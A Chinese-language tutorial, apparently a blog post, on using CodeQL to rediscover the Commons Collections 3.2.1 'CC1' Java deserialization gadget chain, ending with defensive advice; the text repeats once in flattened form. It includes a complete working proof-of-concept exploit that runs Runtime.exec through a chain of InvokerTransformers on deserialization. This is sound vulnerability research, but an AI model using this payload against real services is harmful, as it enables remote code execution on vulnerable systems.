CodeQL分析java反序列化gadget第一期--CC1链
字数 2411 2025-09-01 11:25:54

CodeQL分析Java反序列化Gadget:CC1链详解

0x00 前言

本文将通过CodeQL工具分析Commons Collections 3.2.1中的反序列化漏洞链(CC1链),面向Java反序列化初学者和CodeQL工具初学者。我们将从底层方法开始,逐步构建完整的利用链。

0x01 环境构建

所需环境

  1. 源码下载:commons-collections-3.2.1-src.zip
  2. 构建工具
    • JDK 7(Commons Collections 3.2.1不支持JDK8)
    • 对应版本的Maven
  3. CodeQL数据库
    • 建议使用JDK8u101版本的数据库
    • 下载链接:百度网盘 提取码: 34a3

构建步骤

  1. 使用JDK7编译Commons Collections 3.2.1源码
  2. 使用CodeQL创建数据库:
    codeql database create --language=java --command="mvn clean install" ./cc3.2.1-db
    

0x02 漏洞链分析

第一阶段:Method.invoke调用点

我们从Method.invoke方法作为起点开始分析,寻找可以被反序列化的类中调用此方法的位置。

CodeQL查询

from MethodAccess ma, Method m
where 
  m.getName() = "invoke" and
  m.getDeclaringType().hasQualifiedName("java.lang.reflect", "Method") and
  ma.getMethod() = m and
  ma.getEnclosingCallable().getDeclaringType().getASupertype*().hasQualifiedName("java.io", "Serializable")
select ma

查询结果分析

  1. InvokerTransformer.transform()方法 - CC1链的核心部分
  2. PrototypeCloneFactory.clone()方法 - 可利用性较低

InvokerTransformer分析

InvokerTransformer.transform()方法关键代码:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

可控参数:

  1. iMethodName - 方法名
  2. iParamTypes - 参数类型数组
  3. iArgs - 参数数组

第二阶段:Transformer链式调用

我们需要寻找能够将多个transform操作串联执行的类。

CodeQL查询

from Class c, Method m, MethodAccess ma
where
  c.getASupertype*().hasQualifiedName("org.apache.commons.collections", "Transformer") and
  m.getDeclaringType() = c and
  m.getName() = "transform" and
  ma.getEnclosingCallable() = m and
  exists(ma.getMethod().getDeclaringType().getASupertype*() super |
    super.hasQualifiedName("org.apache.commons.collections", "Transformer")
  )
select c, m, ma

关键发现

  • ChainedTransformer类:可以串联执行多个Transformertransform方法
  • ConstantTransformer类:无论输入是什么,都返回固定值

ChainedTransformer分析

ChainedTransformer.transform()方法:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

利用思路:

  1. 构造Transformer数组:
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc.exe"})
    };
    
  2. 创建ChainedTransformer实例并执行

第三阶段:触发transform调用

我们需要找到调用ChainedTransformer.transform的类,要求:

  1. 实现Serializable接口
  2. 方法名不是transform(避免无限递归)
  3. 方法体中调用Transformer接口的transform方法

CodeQL查询

from Class c, Method m, MethodAccess ma, RefType transformer
where
  c.getASupertype*().hasQualifiedName("java.io", "Serializable") and
  m.getDeclaringType() = c and
  m.getName() != "transform" and
  ma.getEnclosingCallable() = m and
  transformer.hasQualifiedName("org.apache.commons.collections", "Transformer") and
  ma.getMethod().getDeclaringType().getASupertype*() = transformer
select c, m, ma

关键发现

  • LazyMap.get()方法:当key不存在时,会调用factory.transform(key)

LazyMap分析

LazyMap.get()方法:

public Object get(Object key) {
    if (!map.containsKey(key)) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

利用方式:

  1. 通过LazyMap.decorate()方法设置恶意的Transformer
  2. 触发get()方法调用

第四阶段:触发LazyMap.get调用

寻找调用LazyMap.get()的类,要求:

  1. 实现Serializable接口
  2. 方法体中调用Map.get()方法
  3. get()方法只有一个参数
  4. 调用的是Map接口或其实现类的方法
  5. 最好有readObject方法调用

CodeQL查询

from Class c, Method m, MethodAccess ma, Parameter p, Method getMethod
where
  c.getASupertype*().hasQualifiedName("java.io", "Serializable") and
  m.getDeclaringType() = c and
  ma.getEnclosingCallable() = m and
  getMethod.getName() = "get" and
  getMethod.getNumberOfParameters() = 1 and
  (getMethod.getDeclaringType().hasQualifiedName("java.util", "Map") or
   getMethod.getDeclaringType().getASupertype*().hasQualifiedName("java.util", "Map")) and
  ma.getMethod() = getMethod and
  exists(m.getSource().find("readObject"))
select c, m, ma

关键发现

  • AnnotationInvocationHandler类:
    • 实现了InvocationHandler接口(支持动态代理)
    • invoke()方法会调用memberValues.get()
    • readObject()方法会触发代理调用

动态代理机制

利用动态代理触发LazyMap.get()

  1. 创建LazyMap实例并设置恶意的Transformer
  2. 使用AnnotationInvocationHandler作为代理的InvocationHandler
  3. 代理对象调用任何方法(除了toStringhashCodeequals等)都会触发invoke方法
  4. invoke方法会调用memberValues.get()

0x03 完整利用链

利用链流程

  1. 反序列化AnnotationInvocationHandler实例
  2. readObject方法触发代理对象的entrySet方法调用
  3. 代理机制调用AnnotationInvocationHandler.invoke方法
  4. invoke方法调用memberValues.get()
  5. memberValuesLazyMap实例,触发get()方法
  6. get()方法调用factory.transform()
  7. factoryChainedTransformer实例,执行一系列transform调用
  8. 最终通过反射执行任意命令

POC构造

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1POC {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc.exe"})
        };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 创建LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        
        // 创建动态代理
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(
            Override.class, lazyMap);
        
        Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[]{Map.class},
            handler);
        
        // 创建AnnotationInvocationHandler实例
        InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(
            Override.class, proxyMap);
        
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler2);
        oos.close();
        
        // 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }
}

0x04 防御措施

  1. 升级Commons Collections到最新版本(3.2.2+或4.0+)
  2. 使用JDK内置的序列化过滤器(JEP 290)
  3. 避免反序列化不可信数据
  4. 使用白名单机制限制可反序列化的类

0x05 总结

通过CodeQL静态分析,我们完整地还原了CC1反序列化漏洞链的挖掘过程:

  1. Method.invoke调用点开始
  2. 分析InvokerTransformer的可控参数
  3. 寻找Transformer链式调用机制(ChainedTransformer
  4. 寻找触发transform调用的入口(LazyMap
  5. 通过动态代理机制(AnnotationInvocationHandler)触发整个利用链

这种分析方法不仅适用于CC1链,也可以应用于其他反序列化漏洞的研究和挖掘。

CodeQL分析Java反序列化Gadget:CC1链详解 0x00 前言 本文将通过CodeQL工具分析Commons Collections 3.2.1中的反序列化漏洞链(CC1链),面向Java反序列化初学者和CodeQL工具初学者。我们将从底层方法开始,逐步构建完整的利用链。 0x01 环境构建 所需环境 源码下载 :commons-collections-3.2.1-src.zip 构建工具 : JDK 7(Commons Collections 3.2.1不支持JDK8) 对应版本的Maven CodeQL数据库 : 建议使用JDK8u101版本的数据库 下载链接: 百度网盘 提取码: 34a3 构建步骤 使用JDK7编译Commons Collections 3.2.1源码 使用CodeQL创建数据库: 0x02 漏洞链分析 第一阶段:Method.invoke调用点 我们从 Method.invoke 方法作为起点开始分析,寻找可以被反序列化的类中调用此方法的位置。 CodeQL查询 : 查询结果分析 : InvokerTransformer.transform() 方法 - CC1链的核心部分 PrototypeCloneFactory.clone() 方法 - 可利用性较低 InvokerTransformer分析 InvokerTransformer.transform() 方法关键代码: 可控参数: iMethodName - 方法名 iParamTypes - 参数类型数组 iArgs - 参数数组 第二阶段:Transformer链式调用 我们需要寻找能够将多个 transform 操作串联执行的类。 CodeQL查询 : 关键发现 : ChainedTransformer 类:可以串联执行多个 Transformer 的 transform 方法 ConstantTransformer 类:无论输入是什么,都返回固定值 ChainedTransformer分析 ChainedTransformer.transform() 方法: 利用思路: 构造 Transformer 数组: 创建 ChainedTransformer 实例并执行 第三阶段:触发transform调用 我们需要找到调用 ChainedTransformer.transform 的类,要求: 实现 Serializable 接口 方法名不是 transform (避免无限递归) 方法体中调用 Transformer 接口的 transform 方法 CodeQL查询 : 关键发现 : LazyMap.get() 方法:当key不存在时,会调用 factory.transform(key) LazyMap分析 LazyMap.get() 方法: 利用方式: 通过 LazyMap.decorate() 方法设置恶意的 Transformer 触发 get() 方法调用 第四阶段:触发LazyMap.get调用 寻找调用 LazyMap.get() 的类,要求: 实现 Serializable 接口 方法体中调用 Map.get() 方法 get() 方法只有一个参数 调用的是 Map 接口或其实现类的方法 最好有 readObject 方法调用 CodeQL查询 : 关键发现 : AnnotationInvocationHandler 类: 实现了 InvocationHandler 接口(支持动态代理) invoke() 方法会调用 memberValues.get() readObject() 方法会触发代理调用 动态代理机制 利用动态代理触发 LazyMap.get() : 创建 LazyMap 实例并设置恶意的 Transformer 使用 AnnotationInvocationHandler 作为代理的 InvocationHandler 代理对象调用任何方法(除了 toString 、 hashCode 、 equals 等)都会触发 invoke 方法 invoke 方法会调用 memberValues.get() 0x03 完整利用链 利用链流程 反序列化 AnnotationInvocationHandler 实例 readObject 方法触发代理对象的 entrySet 方法调用 代理机制调用 AnnotationInvocationHandler.invoke 方法 invoke 方法调用 memberValues.get() memberValues 是 LazyMap 实例,触发 get() 方法 get() 方法调用 factory.transform() factory 是 ChainedTransformer 实例,执行一系列 transform 调用 最终通过反射执行任意命令 POC构造 0x04 防御措施 升级Commons Collections到最新版本(3.2.2+或4.0+) 使用JDK内置的序列化过滤器(JEP 290) 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 0x05 总结 通过CodeQL静态分析,我们完整地还原了CC1反序列化漏洞链的挖掘过程: 从 Method.invoke 调用点开始 分析 InvokerTransformer 的可控参数 寻找 Transformer 链式调用机制( ChainedTransformer ) 寻找触发 transform 调用的入口( LazyMap ) 通过动态代理机制( AnnotationInvocationHandler )触发整个利用链 这种分析方法不仅适用于CC1链,也可以应用于其他反序列化漏洞的研究和挖掘。